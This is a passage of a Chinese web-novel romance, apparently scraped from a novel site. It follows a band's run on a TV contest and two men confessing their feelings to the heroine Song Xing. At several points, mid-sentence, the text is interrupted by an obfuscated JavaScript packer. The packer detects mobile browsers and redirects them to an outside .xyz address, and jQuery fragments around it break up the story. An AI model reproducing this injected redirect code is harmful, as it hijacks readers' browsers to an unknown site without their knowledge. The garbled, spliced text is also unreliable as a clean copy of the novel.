她回滴了眼药水好多了，谢谢，一切正常。 段斯冕又发明天早上醒来眼睛如果还红的话一定要去医院。 宋星觉得段斯冕还挺啰嗦的。 只是假睫毛掉进眼睛里了而已，又不是什么大伤，被他念的好像很严重一样。 不过小时候就是个啰啰嗦嗦的小胖子，成天跟在她身后跟唐僧念经一样，长大了人虽然瘦了，啰嗦的本性还是没变。 宋星对着两人聊天界面鼓了鼓腮。 她回了一句【知道了】。 然后宋星放下手机，她照照镜子又检查一遍眼睛确实没什么问题，接着面对镜子里拉近的自己，宋星忽地又愣了一下。 她想起今晚段斯冕凑近检查她眼睛时。 两人当时大概差不多也是这个距离。 男人的脸在她眼前放大，当时只觉得距离有些太近了，现在回想起来那场景，宋星后知后觉感觉到现在的段斯冕，确实挺帅的。 那么近的距离带来的视觉冲击力极强，段斯冕皮肤很白，脸上五官标志的几乎挑不出什么毛病，拉去出道都绰绰有余。 小胖子怎么长大就变成了这样。 宋星看着镜子，愣愣地想。 .............. 《梦想乐队》的录制进程十分紧密。 初舞台录制结束后所有人休息两天又立马进入到下一阶段的录制，第一轮没有淘汰机制，但第二轮的赛制则陡然残酷起来，是二十四组乐队两两配对进行 1V1比赛，胜者直接晋级下一轮，败者则进入淘汰区。 “杀死玫瑰”在第二轮竞演里不幸抽到的1v1对手是老牌知名乐队，本档节目的夺冠大热门“低频日记”。 拿到抽签结果后的四人先是不敢相信，然后都沉默了。 想起之前以为没通过海选不能上节目时，九九还在群里调侃大南的难道你还想拳打“低频日记”，脚踢“Red Copper Rail”。 这下拳打“低频日记”的梦大概真的要成真了。 只不过他们应该是被拳打的那一方。 第二轮1v1竞演杀死玫瑰和低频日记唱的也都是各自的原创曲目，在低频日记的热单攻势下，杀死玫瑰几个新人凭借一首现场观众并不熟悉的新歌几乎是没有悬念地输掉了比赛，直接进入淘汰区。 进入淘汰区的十二个乐队下期要竞争三个复活名额。 第二轮竞演结束后的四人心情稍显低沉，不过也没有完全失望，因为还有复活赛。 宋星每天早出晚归地去准备复活赛要唱的歌。 今天她车送去洗车店精洗了还没开回来，回来准备打车时又看到主路发生事故地图上全都堵成一片红，于是宋星想了想，选择搭地铁。 嘉悦府虽然是高端小区但离地铁站不算特别近，大概是因为考虑到能买这个小区的业主都有私家车，出了地铁站步行还要将近二十分钟。 在排练室待了一天人感觉有些闷，宋星出地铁站后没扫共享单车，选择溜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170808|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达着散步回家。 嘉悦府离地铁站最近的是一个侧门，附近有家便利店。 宋星记得自己生理期快到了，顺便进便利店去买了两包卫生棉，然后看到店里还卖的有关东煮，又买一份。 关东煮还需要加热一下。 这个时间点店里也没什么人，宋星等在收银台前无聊向店外张望了张望，刚才进来时还没注意，这会儿突然看到路边停的有一辆车她好像很眼熟。 一辆白色的奔驰。 宋星不由地轻轻皱眉，然后向后退了两步。 透过便利店玻璃，她看到那辆奔驰的车牌号。 宋星看到车牌号后顿时更惊讶了。 这不是段斯冕的车吗？ 这么晚了他车停在这路边做什么。 两人晚上经常在地下停车场里碰到，他隔三差五地加班，好不容易不加班了还不回家？ 便利店店员打包着煮好的关东煮，看到宋星退后几步去瞅外面路边那辆白色车子。 “小姐您的东西好了。”店员说。 “哦。”宋星这才回去拿她买的东西。 “您在看外面那辆车吗？”店员一边把关东煮递给宋星一边笑眯眯地说。 “啊，对啊。”宋星不知道店员为什么也跟她说起这个，跟着笑了笑。 店员：“我也觉得那辆车蛮奇怪的。” 宋星：“嗯？” 然后反正店里没人晚上一个人值班也无聊，店员索性靠在收银台上，跟宋星八卦开了：“基本每晚我值班的时候，都会看见那辆车在那里等。” “开车的是个挺年轻的帅哥，偶尔还会下车到我们店里买点东西。” “然后晚上只要一等到那边一辆黑色的大G经过，”店员伸手指了指小区正门的方向，“这辆白车就会立马开车跟进去。” “有时候等到很晚也没等到，他就自己开进去。” 店员一时侦探血脉觉醒：“感觉跟演谍战片似的。” 宋星立在原地，看着正跟她说的绘声绘色的便利店店员，张嘴轻轻“啊”了一声。 14.十四颗星 店员摸着下巴一脸思索，说完看到宋星的反应，又觉得自己是不是话多了。 人家就是普普通通来买个东西，他怎么跟人八卦上了。 “您的东西一共是四十三块五。”店员立马重新恢复工作状态。 宋星又才回神。 她付钱之后拎着东西，想出便利店的时候，又愣了愣。 这么走回大门的话，路过的时候段斯冕坐在车里，两人会不会碰面，他会不会看到？ 她路过他的车的时候要不要去打招呼，问你怎么在这里？ 宋星拎着塑料袋的手指不由地收紧。 她没想到一直以来地下车库的偶遇都是段斯冕人为，她都以为是碰巧，还经常在心里感叹怎么这么巧。 她开车回小区是一条直路，要不是今晚搭地铁从侧面步行，很难注意到这边的车子。 宋星想起店员的话。 段斯冕经常在这儿一等就是几个小时一晚上，就为了两人在地下车库碰到时聊的那几句，和一起进电梯回家？ 她确实最近很忙，没有时间再出门跟谁吃饭，也没有时间再请别人吃饭。 宋星心里忽然有种说不出的感觉。 她站在便利店门口犹豫，远远看着那辆车子，片刻之后，最终还是选择绕路，从小区另一个门回去。 …… 宋星回家后又有点坐立不安。 因为段斯冕可能还在外面等。 但她今晚没有开车也没有打车是搭地铁回来的，总不能说我回来路上看到你的车了别再等我了，翻来覆去犹豫之后，宋星拿出手机。 她给段斯冕发微信：【你今晚加班吗？】 段斯冕回的很快：【怎么了？】 【我加班】 宋星对着“我加班”三个字咽了一下，想起路边停着那辆车。 她又发：【就是三环路那里今晚好像在堵车，你回来的时候记得绕开】 【我今晚回我姥姥姥爷家的时候路过三环路，地图上一片红】 宋星目光落在自己仿佛是不经意提起的这句，“我今晚回我姥姥姥爷家”。 段斯冕：【真的吗，我还没注意，正准备今晚走三环呢】 【太谢谢了】 宋星：【不客气.jpg】 发完消息的宋星又放下手机。 她靠坐在沙发上长长呼了口气，抱着抱枕，再次陷入一阵沉思。 …… 同一时间，宁定西院。 姜明崇平时住在营区，但工作日下了班其实也能出营区活动，只是跟市区离得比较远。 今晚是姜夫人庄馨的生日，姜明崇下午下班后专程回来给母亲庆生。 庄馨今年生日从简，拒绝了好些太太夫人们办宴会的提议，只跟自己家人一起吃个饭简单庆祝一下。 一个只有家里人参加的生日宴很是温馨。 姜明枝送了好些生日礼物给大伯母，黏在大伯母身边倒比姜明崇这个亲生的更像亲生。 姜明崇只能跟路谦坐在一起，两个人虽然年龄相近，但无论是成长背景还是职业三观都差距太大，之间也一直没什么话聊。 直到今晚生日宴会结束，姜明崇才找到跟姜明枝单独说两句话的机会。 姜明枝看着像是有事找她的姜明崇：“嗯？” 姜明崇面对姜明枝先是犹豫了些什么，然后还是开口问，你知不知宋星最近在做什么。 感觉她一直很忙。 姜明枝听后愣了一下，没有说宋星参加音乐节目去了，微微皱眉：“你问这个做什么？” 姜明枝：“你想找她自己去问呗。” “不过你找她做什么？” 姜明崇迎着姜明枝的问题动了动唇，一时没有回答。 姜明枝觉得自己也开始看不懂姜明崇。 她无奈摇头，又想起什么：“对了，你还记不记得就是以前，那个跟宋星玩的很好，后来找到我们家，扑通一下跪在你面前，哭着求你跟宋星在一起的小胖子？” 这件事实在无法不令人印象深刻，姜明崇当然记得：“怎么了？” 姜明枝一想起那画面就还是直乐，“咯咯”笑着揶揄当时被跪的姜明崇：“没什么，就是宋星跟我说起，那小胖子最近回国了，我想起你也是当事人，就也跟你说一下哈哈哈哈哈。” 姜明崇看着面前笑的嘻嘻哈哈的姜明枝，模模糊糊想起十多年前，一个经常跟在宋星身后的男孩。 …… 知道跟段斯冕在地下车库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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九九：“而男的想跟女的套近乎，拉近关系，一般也就两种可能。” 宋星：“哪两种？” 九九伸出一根手指：“要么图财，要么图人。” “不过我觉得图财的概率大些。”她忽然对着宋星表情认真，“现在市面上利用老同学重逢来取得信任，然后再对老同学实施经济诈骗的案子可太多了。” ”那男的现在天天人为制造偶遇就是在取得信任呢。” “你让你朋友一定要小心。” 宋星：“……” 15.十五颗星 宋星当晚又在地下车库里偶遇了段斯冕。 当段斯冕给她打招呼的时候，对着青年的脸，宋星忍不住地想起九九说的那个，“提防老同学重逢蓄意接近实施经济诈骗”。 段斯冕发现宋星今晚看她的眼神似乎又有些怪。 “又又？”他叫了她一声。 “嗯？”宋星猛然回神。 她不好意思地笑了笑，又垂下眼，知道段斯冕要经济诈骗应该不太可能。 据她所知段斯冕家里比她家还有钱，当年她也是关系走近后才发现小胖子竟然是个家里除了钱一无所有的隐形小富豪，这次回国也不像是家道中落的样子，身上气质没钱养不出来。 不图财，那么天天费尽心思制造偶遇，图的应该就是另一个了。 宋星抿了抿唇。 其实关于制造偶遇这操作她最为熟悉。 以前喜欢姜明崇的时候，每天放学回家，她就天天在路上跟他制造偶遇。 初中部下午比高中部早放学一个小时，姜明枝都不等自己亲堂哥，但她愣是要在路上晃晃悠悠，等到姜明崇也放学回家，装作是自己在路上玩忘了时间，然后跟他一起。 后来姜明崇在另一个城市读大学，她周末隔三差五就飞过去，装作自己是来旅游偶遇。 只是…… 宋星通过电梯门的反光，看到站在她身旁的段斯冕。 “你……”她启唇似乎想说什么。 段斯冕：“嗯？” 他笑：“怎么了？” 宋星眼神躲闪，又把话咽了回去：“没什么。” “你今天衣服挺好看的。”她忽然发现段斯冕今天身上的外套还挺有质感，说。 段斯冕低头看看自己身上的衣服：“谢谢。” “你喜欢就好。”他说。 …… 伴随着第一期节目的即将播出，视频平台这两天也正在给即将播出的全新音乐节目《梦想乐队》预热。 节目宣传片也已经出来了，海报上都是几个参赛的知名乐队和节目评委，很多音乐爱好者在表示期待。 杀死玫瑰在宣传片里只有很短暂的一秒镜头，甚至还是远景。 不过这对于新乐队来说很正常，其他几个新人乐队在宣传片里也都只有一两秒镜头，无论哪个圈子向来都是人气知名度决定镜头多少。 宋星也是废了好大劲才从宣传片里把自己找出来的。 她自己都差点没找到自己，有人却给她发来了一张宣传片的截图。 宋星看到竟然来自姜明崇。 姜明崇：【截图.jpg】 【你去参加这个节目了么】 宋星：【？】 宋星没想到姜明崇会给她发消息。 自从上次她说过你要是再这么不死心来找我说些要跟我在一起的话，我就默认你是暗恋我之后，姜明崇就没影儿了。 直到今天这消息发过来。 宋星：【你在哪儿看的？】 姜明崇那边过了一会儿才回：【偶然刷到的】 宋星觉得姜明崇眼睛还挺尖。 那宣传片里的一秒远景镜头她自己都差点没找到自己，姜明崇竟然随便刷到就发现她了。 宋星：【是我】 【有什么事吗？】 姜明崇：【没什么】 宋星：【流汗黄豆.jpg】 她放下手机选择结束这段没头没脑的对话。 结果手机屏幕又亮了亮，姜明崇的消息继续发过来。 【宋星，这周末你有空吗，我请你吃饭，好吗？】 于是宋星对着这消息彻底头顶问号了。 她想问姜明崇你还记不记得上次我说过了，你要是再来找我我就默认你暗恋我。 姜明崇这人以前明明最膈应这个了。 只是今天这男人好像全然忘了她的话一样，宋星自己心里反倒憋屈地一堵，没好气回： 【没空】 姜明崇：【那你什么时候有空？】 【或者你在哪儿，我来找你】 宋星：“……” 她抓着头发十分想大喊一声神经病吧。 这男的又在搞什么飞机。 宋星：【我都没空】 这确实也是实话，她周六要彩排周日是复活赛，哪有其他什么时间。 宋星说完带着些气退出跟姜明崇的聊天界面。 她心里是真的很想问一句你踏马是真的暗恋我吧，天天这样有完没完，只不过还是忍住了。 因为不想自取其辱。 这么多年，姜明崇喜欢谁都没喜欢过她。 九九发现宋星不知道在手机上跟谁聊了几句天，好像突然开始生气的样子。 “怎么了？”她问，“谁啊？” 宋星看向九九手中的鼓槌，伸手：“给我。” “嗯？”九九带着不解把鼓槌递给宋星。 宋星握着鼓槌，深吸一口气，然后忽然整个排练室“咚”地一声，宋星狠狠敲在鼓面上。 吓得旁边正在点烟的大南火苗差点燎到手。 宋星敲完鼓，胸口的郁闷这才稍微发泄出去，把鼓槌还给九九：“谢谢。” …… 《梦想乐队》第一轮竞演二十四个乐队的初舞台被剪辑成了两期。 本周六首播第一期放出前十二个乐队的舞台，杀死玫瑰的初舞台被剪到了第二期。 宋星本来还特意在家族群里通知了家人这周六她参加的节目播出，记得看。 然后她也是节目第一期播出之后才看到他们杀死玫瑰的舞台被剪到了第二期，还得等一周。 家族群里知道还得等一周后刷的都是【好事多磨】 【精彩的肯定都要留到后面才放出来】 宋星对着家族群里的这些消息笑了笑。 然后节目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185165|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首播第一期的播放量和热度似乎都还可以，因为第二天录制复活赛的时候，导演组心情明显都不错。 复活赛的竞争激烈程度超过了第二次竞演。 因为前两次竞演唱的都是原创，应导演组要求杀死玫瑰复活赛要翻唱经典。 四人选的是一手国外摇滚乐队的英文歌，名字叫《Till the end》。 宋星唱完知道他们这次的发挥和配合都已经做到最好了。 只是十二进三的复活名额有限，当最后票数和排名公布的时候，杀死玫瑰以一票之差排在第四，无缘复活。 大概是已经尽他们的努力做最好了，杀死玫瑰四人看到无缘复活反而没想象中那么难过，只是些微有些遗憾。 宋星之后还从姜明枝经纪人那里打听了点节目内部八卦消息。 这次复活赛排在第三的乐队是“皇族”，里面有赞助商要捧的人，所以他们的票是做过的。 按理说那晚杀死玫瑰其实才是第三。 宋星把这内部八卦也告诉了队友。 三人听了倒也说不上多愤怒，这世界上不公平的事情太多了，只是有种淡淡的无力。 虽说被皇族挤下去了确实挺令人蛋疼，但这次参赛对于他们来说已经是很宝贵的经历，无论是节目里最先进的音乐设备，还是排练时优秀专业老师的指导，大家明显都通过这次参赛受益匪浅，三个舞台每次也都是肉眼可见的进步，再也不是从前的新人菜鸟乐队。 之前跟四环路livehouse的场租也到期了，节目参赛这些天大家每天都顶着压力一天到晚忙碌紧张，所以淘汰后四人准备先休整一下，也算是松口气，还没有下一步的动作计划。 终于来到节目播出第二期。 这周是第一轮竞演剩下十二个乐队的初舞台表演，上周宋星还兴高采烈通知家族群里家人们去看节目，这周不光她，整个家族群里显然都没有像上周那么兴奋期待。 因为线下进程里宋星已经被淘汰了。 宋星姥爷：【哎呀能参加就是胜利嘛，听说海选有了一千多个乐队呢，年轻人路还长着@又又】 宋星姥姥：【人家那些乐队都成立好多年了，新人能够走到第三轮已经很厉害了】 宋院长：【今晚终于能看看我闺女这一年都在忙什么】 林女士：【几点开播？】 宋星看着各种安慰她的家族群抿唇笑了笑，回了她妈节目应该也是晚上八点上线，然后自己这周倒是没看。 她找了部电影自己在家看，看着看着又觉得电影无聊开始玩起了手机，然后看到杀死玫瑰聊天群这会儿蛮热闹。 宋星正要点开群看看，九九似乎见她一直不上线，直接打了个电话过来。 一开口就是难以掩饰的兴奋与开心： “你上热搜了，” “我们也上热搜了，” “我们的歌也上热搜了！” 16.十六颗星 一档节目首播第一期的热度很重要，这能引导后续节目整季的走向，所以为了首播热度，《梦想乐队》的剪辑把大部分能吸引眼球有名气的乐队都剪到了第一期。 相比之下，除了压轴登场的老牌乐队“Red Copper Rail”之外，第二期的整体看点似乎没有第一期那么多。 而一期节目播出后的营销点基本也都是节目组提前做好的。 《梦想乐队》节目第二期提前做好的营销点是老牌乐队RCR重组回归，新人乐队迷心咒新歌惊艳全场，以及某评委点评泪洒现场。 相关营销通稿和热搜词条几乎是节目还没播完就上了。 不过饭圈里有句话一只叫“业内买反别墅靠海”，指的就是很多影视剧和综艺，在播出前被普遍看好的播出后往往反响平平，而会火的，经常是一些开播之前无人问津不被看好的。 今晚《梦想乐队》里的新人乐队“杀死玫瑰”显然就是这个例子。 与节目组其他大肆买营销通稿的乐队不同，出圈的，反而是这个在宣传片里只有一秒远景镜头，四个人观众没一个能叫得上来名字，全程直接上台就开唱的新人乐队。 首先是因为这乐队主唱是女孩。 参加节目的二十四个乐队里女性成员很少，女性主唱更是寥寥，一头黑色长卷发，长发中夹杂着无数蓝色亮丝的女孩一上台本就吸引眼球，一转头脸上浓妆极具暗黑风的美丽，再一开嗓，音色与唱腔全是让人耳目一新的独特。 再然后，女孩主唱唱的是她们乐队的原创作品《夏天雨》。 两分半钟的歌曲并不算太长，与前面几组乐队浓郁重金属风的伴奏比起来《夏天雨》更显单薄，然而这整首歌就跟它的名字一样，那么短那么快，就像一场夏天的骤雨，听过之后只余满世界的爽朗与清新。 人长得美吸引眼球，唱的歌更是好听，于是几个杀死玫瑰《夏天雨》的舞台剪辑全都是一发即火，万赞万评： 【啊啊啊啊主唱太美了吧！好酷！】 【她这个头发怎么搞的啊，好好看啊，种草了，我也好想去搞一个！】 【音色好特别，唱歌很有自己的风格诶】 【这歌好好听，一秒入耳单曲循环了】 【节目组真的厕品，永远在看走眼，不捧这组跑去捧迷心咒，今晚全是迷心咒的通稿。笑哭.jpg】 【看的出来都是新人但台风真的很不错，未来可期】 【鼓手小姐姐也好酷，吉他和贝斯两个男生也好帅！】 …… “杀死玫瑰”在几个常用的社交平台都注册的有账号。 注册这些账号主要是为了宣传他们之前livehouse的演出，偶尔也会在账号上发一发平时的排练日常，不过大半年了几个平台的粉丝加起来都没有破万，直到今晚，四人看着他们嗖嗖涨粉的社交平台账号。 杀死玫瑰聊天群： 大南：【三万了】 【截图.jpg】 阿墟：【五万了】 【截图.jpg】 九九：【十万了！】 【截图.jpg】 宋星：【我们好像红了……】 看着“杀死玫瑰”在今晚十二个参赛乐队里一骑绝尘的舞台播放量，前排的热搜词条，不停涨粉的社交媒体账号，宋星觉得这可能是红了。 就算还称不上红，那起码也应该算是小有热度，他们绝对已经不算无效参赛，就算只有今晚昙花一现，以后也算是有了姓名。 下回livehouse应该可以不止两百个人了吧。 宋星看到姜明枝刚给她发消息： 【你们复活赛被皇族挤下去淘汰了对不对】 宋星：【嗯呐】 姜明枝：【我敢保证现在导演组想掐死自己，穿越回去复活赛把你们弄进下一轮】 【这就是捧皇族的下场！】 宋星：【心情复杂.jpg】 《梦想乐队》第二期播出当晚，《夏天雨》这首歌就来到了音乐软件的新歌榜第一。 这首歌曲子是阿墟写的词是四个人一起填的，自己写的歌来到新歌榜第一之后最高兴的就是医学生阿墟，这下终于能拿着成绩去跟他家里人证明，让他们不要再逼他考研当医生了。 然后昨晚刚上了热搜第二天，今天就有许多唱片公司和经纪公司马不停蹄来联系说想签下他们。 宋星一大早都是被自称xx唱片公司经纪人的电话吵醒的，也不知道是从哪儿弄来的她电话。 她当即就把这家打扰人睡觉的唱片公司拉进黑名单，绝对不签你们家。 宋星挂掉电话一觉睡到中午。 今天是周末。 本来今天是没什么安排的，除了昨晚好像红了以外其他跟往常也没什么不同，就连杀死玫瑰昨晚聊到凌晨五六点的微信群这会儿都很安静，大家兴奋到半夜，现在都在补觉。 宋星看天气好，下午开车回了趟姥姥姥爷家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191176|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋星姥姥姥爷原本以为自家孙女搞音乐只是玩玩，没想到自家孙女的乐队昨晚在节目上一亮相就火了，收到很多观众的喜欢，今天还一直在手机上刷跟宋星相关的，看到夸宋星长得漂亮长得好的帖子和评论就笑的合不拢嘴。 院子里，宋星坐在藤椅上，托腮对着一下午只顾看手机的姥姥姥爷摇摇头。 她无聊打了个哈欠，然后四合院的门铃突然响了，几个人都抬头。 “我去吧。”宋星站起身对正要赶来开门的保姆阿姨笑说。 保姆阿姨继续忙手头的事，宋星不疾不徐走到门口，打开院门。 然后在看到门口的人时愣住了。 姜明崇站在门口。 宋星姥爷探着脖子也看到门口的年轻人：“明崇？” 宋星不由地皱起眉。 姜明崇面对门口宋星，他微微吸了口气，手里拎着一个袋子，说：“我来给林爷爷林奶奶送点东西。” 宋星看向姜明崇手里的袋子：“什么东西？” 姜明崇：“鱼胶。” “野生的，很难得，我送些过来。” 宋星姥爷也已经起身走过来：“明崇，你怎么过来了？” 姜明崇对宋星姥爷打了招呼，又把手上的东西递过去：“记得您爱吃鱼胶，刚好家里有些还不错的，便送过来。” “哟，”宋星姥爷接过来看了看，“多谢你了明崇，还记得我老头子爱吃什么。” 姜明崇：“您客气。” 宋星看着过来送东西的姜明崇。 街坊邻居之间互相送点东西也无可厚非，两家之前也偶尔会互送东西，然后见姜明崇已经送完东西，宋星打算关门了。 姜明崇忍不住叫了一声：“宋星。” 林老爷子又瞧了瞧门口的孙女和姜明崇。 他没说什么背手拎着东西慢悠悠走了，宋星关门的动作停下来，面对站在门口的姜明崇：“怎么？” “你怎么知道我今天在这里？”她先问。 姜明崇默了一下：“你的车停在外面。” 宋星：“……” 姜明崇再顿了顿：“你今晚，有空吗？” 宋星：“嗯？” 姜明崇：“我们……” “姜明崇，”宋星打断他。 宋星一手抓门，望着眼前表情似乎纠结又复杂的男人，心里憋屈到现在，终于忍不住把那句话说出口： “你真的是喜欢我吧。” 17.十七颗星 宋星话说的清楚，此时也顾不得什么会不会当小丑，明明她之前就说了你再这样我就默认你暗恋我了，姜明崇却还是没改。 是他先要要犯戒的。 宋星说完又回头看了眼院子里。 她姥姥姥爷都进屋去了，把说话空间留给两个小辈。 宋星又看向姜明崇。 她眼神很利，没有害羞只有直白的困惑与审判，话她已经说完了，现在只要个回答。 这到底是为什么。 姜明崇迎着这目光。 他动了动唇，有些事情，他想了很久才终于想明白。 关于宋星。 他从小家教严苛，所走的这一条路几乎是从他出生开始就计划好，在父辈家庭的熏陶下他也并不排斥这样的道路，他以家庭为荣，以职业为荣，所以在人生每一个阶段都以最高的标准要求自己，几乎从未踏错过一步。 姜明崇觉得自己二十八年的人生就像一张工整的毫无差错的格子，他努力把自己的一切都框在这张格子里，直到宋星，成为这张格子唯一的意外。 姜明枝曾玩笑说起，宋星喜欢他，大概是因为他身上从小到大的那种严谨和工整感，对于生性散漫自由的宋星吸引力是致命的。 可是直到后来姜明崇才发现，世界如此公平，宋星身上那种与生俱来的自由和散漫感，对他来说，吸引力也是致命的。 那些从小到大恪守的规则让他一次次清楚地告诉她他们不合适，她这样的自由与叛逆并不适合他工整的世界，可是规则之外，是他却发现他的血液无法不向着那份自由靠近，他以为她的离开会带给他平静，可是平静的外表下却是漫无边际的空虚，他的人生变得无趣，直到他看到在他仿佛找不到意义时，宋星，和她的男友在一起。 姜明崇人生第一次体会那种感觉。 他的胸口仿佛被塞了一团湿棉花般透不过气，他的腿像灌了铅一样立在原地，每一个细节都烙印在他脑海，他明明没有任何立场关于她的，她没有做错任何事，只是听了他的话，他们不合适，不在了而已。 姜明崇现在才回过头明白，他那时胸口的感觉时是酸涩，不甘，与嫉妒。 他不喜欢宋星眼里有别人，他不喜欢宋星和别人接触，他更不喜欢宋星，和别人在一起。 可是宋星不要他了。 她和别人，没有他。 她去寻找她自己的生活了，没有他的生活。 但他却，好像不能没有她。 姜明崇看着宋星。 他看似坚定，人生每一步都未曾行差踏错，可实际却懦弱如斯，懦弱到连承认被那份他没有的自由所吸引，承认他无法不受控制地去喜欢宋星，都用了那么多年。 这并不是个谈话的好地方，或许也并不是一个谈话的好时机。 但有些话，他却似乎不能再不说。 宋星一手还抓着门把，有些不耐烦地等着一个答案，直到姜明崇闭了闭眼，又低下头，他忽然承认说：“是，我喜欢你。” 宋星：“嗯？” 两人目光对视，姜明崇眼里是认真，说：“我喜欢你。” 因为喜欢，才会好像一直在纠缠不放，他找不到除此之外，他与宋星，还能产生任何联系的方式。 宋星愣了。 她在原地僵住整整快半分钟，不可置信地看着眼前高大又低落的男人，反应过来的第一句是：“姜明崇，你发什么疯。” “你觉得这很好玩？” 宋星觉得姜明崇在发疯，在戏弄她。 心脏在胸口开始快速跳动，她从没想过有一天，姜明崇正儿八经跟她说喜欢的时候，她感觉还不如姜明崇在嘲笑她自取其辱，我怎么可能喜欢你。 姜明崇说出口后目光反而变得坦然：“我没有发疯。” 宋星下意识摇了摇头。 男人的神态告诉她他并没有在开玩笑捉弄谁，可面对这样，她发现自己心里竟然升不起半分喜悦，甚至取而代之的是愤怒，与抗拒。 “别来找我！” 宋星忽然后退一步，“嘭”的一声关上门，好像要将男人和他说的那些话统统都隔绝在门外，她消失不见，姜明崇立在原地，面对紧闭的门板，闭了闭眼。 …… 后来宋星一整个下午一直食不知味。 宋星姥姥姥爷也没问今天姜明崇来你们在外面说了什么，只是看着好像又陷入情绪的孙女，想起姜明崇，难免皱了皱眉。 这样的情绪一直持续到晚上宋星依然开车回家。 周末的主环路不算堵，宋星刚把车停到地下车库，那辆熟悉的白色奔驰就随之出现。 段斯冕惯例下车偶遇打招呼，一下车就笑着说：“我昨晚看你们参加的节目了，你们唱的特别好，很多观众喜欢，我就说你们一定会火……” 只是他说着说着突然中断自己的句子，段斯冕看到宋星一直阴沉着脸，似乎心情不太好。 “又又，你怎么了吗？”段斯冕问得很小心。 宋星看了看地下车库，仿佛又跟她“偶遇”的段斯冕。 “你天天这样不累吗？”她忽然说了句。 段斯冕愣了一下：“嗯？” 宋星：“你每天这样跟我装偶遇不累吗？” 段斯冕反应过来脸上表情开始有些尴尬，既然已经被揭穿，他勉强笑着说：“对不起，因为我之前约你你一直说你很忙，没空。” “所以才这样。” 宋星面无表情直愣愣看着他：“所以你这样是为了什么。” “老同学重逢蓄意接近企图实施经济诈骗？” “还是另一个理由。” 段斯冕又抬头。 他再次感觉到宋星今晚情绪不太好，眉间担忧，依然道歉： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对不起我刚刚……”她整个人像是突然泄了气，现在整个人除了懊悔就是懊悔，面对段斯冕，“你就当我刚才什么也没说，行吗？” “我不是故意的。” “我只是……”宋星闭眼，“有些心情不太好。” 段斯冕不知道宋星是因为什么心情不好。 他没有问理由，只是想起她刚才说的那些话，默了默：“没有，你说的很对。” 宋星越想越后悔，她脾气上头竟然把话直接说的那么直白，丝毫没有委婉的余地。 “那个你要是真是回国搞经济诈骗的话，说实话我只是家里比较有钱，现在不上班，手里现金流不多的，所以最好还是趁早放弃吧。”宋星耸了耸肩干笑两声，一时试图想用一种玩笑的方式，蒙混过去她刚才捅破的窗户纸。 然而对面的青年依然深沉。 段斯冕看向宋星。 “对不起又又，”他动了动喉咙，好像又回到了很多年前面对她的时候，漆黑的眸光里全是小心翼翼的谨慎，一开口嗓音甚至微颤，“我本来，我本来真的是打算我们再熟悉一些的时候，你再喜欢我一些的时候……” “我再跟你告白。” 宋星笑容僵在脸上。 18.十八颗星 今天是立秋。 夏末的空气依然燥热，好像人心烦意乱的心情。 宋星一时间甚至觉得自己今天出门没看黄历。 否则为什么她下午才送走了个突然跟她说喜欢的姜明崇，晚上又迎来一个小心翼翼跟她说告白的段斯冕。 只是姜明崇的让人措手不及甚至觉得荒谬，段斯冕的，自从知道他是每晚故意偶遇的之后，宋星心里其实已经七七八八有了数。 只是她一直不太愿意说开。 因为她还无法回应相同的感情，就算现在小胖子男大十八变了，但她对段斯冕，打心眼里其实还是小学四年级时期的想法，一看到他就想到当年爱哭鼻子的小胖子，单纯当朋友，不想捅破窗户纸之后，可能连朋友都没得做。 然而今晚她又口不择言亲口逼他把那些话说了出来。 宋星表情依然懊恼，段斯冕赶紧补充：“又又，我没有让你喜欢我。” “你不用喜欢我，”他垂了下眼，又认真看她，“你只是不要……因为这样就排斥我，可以吗？” 宋星看着每一根睫毛仿佛都写着认真的段斯冕。 他小时候好像也是这样垂着睫毛看她，可怜巴巴，只不过那时他们差不多高，现在，段斯冕高她很多了。 宋星深深吸了口气。 “你喜欢我什么？”她突然问。 宋星忽然很想知道这个问题，段斯冕到底喜欢她什么，在他眼里，她到底哪里比较招人喜欢。 段斯冕顿了一下。 他似乎也没想到她会这样问，愣过之后，又看着她笑了：“你哪里不招人喜欢？” 宋星：“……” 好吧，她这人的确很招人喜欢，喜欢她是一件不需要太奇怪的事，从小到大也只有一个姜明崇死活不感冒而已。 甚至现在连姜明崇好像也感冒了。 